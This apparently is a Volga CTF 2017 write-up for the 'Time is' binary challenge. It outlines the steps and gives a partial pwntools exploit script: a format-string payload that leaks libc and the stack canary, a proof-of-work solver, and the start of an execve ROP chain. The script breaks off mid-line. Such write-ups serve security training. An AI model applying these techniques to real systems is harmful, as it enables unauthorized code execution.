# Time is##### Volga CTF 2017 (https://quals.2017.volgactf.ru)```Exploit 150Check out an extremelly useful utility at time-is.quals.2017.volgactf.ru:45678time_is```
This binary had quite a few steps needed to successfully exploit it. Above all, it was necessary to check leaked GOT offsets against https://github.com/niklasb/libc-database to find that the server is running `libc6:amd64 2.23-0ubuntu7`. Without this knowledge libc offsets in ROP are incorrectly calculated, and the whole exploits fails.
## Steps* Exploit format string vulnerability to leak stack address and stack canary* Calculate libc base address using the leaked stack address* Find payload offset to overwrite stack canary* Find payload offset to write to stack* Generate an execve ROP chain rebasing everything from the libc base address* Exploit buffer overflow vulnerability to:  * Overwrite stack canary using the leaked value  * Write ROP chain to the stack* Quit the program to trigger the exploit* Additionally, the remote service requires us to solve the following before we can send the payload: * `Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='1ead5924560eb9861e0de6e9'`
## Exploit
```pythonfrom pwn import *from struct import packimport sys, itertools, string, hashlibcontext(os='linux', arch='amd64')
REMOTE = TrueDEBUG = False
def solvePuzzle(p):    puzzle = p.recvline()    given = puzzle.split("'")[-2]
    charset = string.letters + string.digits
    print puzzle    for combo in itertools.product(charset, repeat=5):        combo = ''.join(combo)        combo = given + combo        sha1 = hashlib.sha1(combo)        sha = sha1.digest()        if sha[-1] != '\xff' or sha[-2] != '\xff' or sha[-3] != '\xff':            continue        control = sha[-4]        control = ord(control)        print 'bin control:', control,        if control & 0b11 != 3:            print 'fail', sha1.hexdigest()            continue log.info(combo)        p.sendline(combo)        break
if REMOTE:    if DEBUG:        p = remote('127.0.0.1', 45678)    else:        p = remote('time-is.quals.2017.volgactf.ru', 45678)        solvePuzzle(p)
else:    p = process('time_is')    if DEBUG:        with open('time_is.gdb', 'r') as f:            gdb.attach(p, exe='time_is', execute=f)
p.recvline() # enterexploit = '%p.'*267 + '%p' + '%08x' # leak libc and canaryp.sendline(exploit)leak = p.recvline()libc = leak.split('.')[5]libc = int(libc, 16)libc -= 0x3C84A0 # check /proc/$pid/maps for libc base addr [libc6:amd64 2.23-0ubuntu7]log.info(hex(libc))canary = leak.split('.')[-1]canary = canary.split(':')[0]canary = canary.replace('0000000000', '00')canary = int(canary, 16)log.info(hex(canary))
p.recvline() # entercanary_offset = 2056stack_offset = 2120
def rebase(addr):    return addr + libc
rop = ''rop += pack('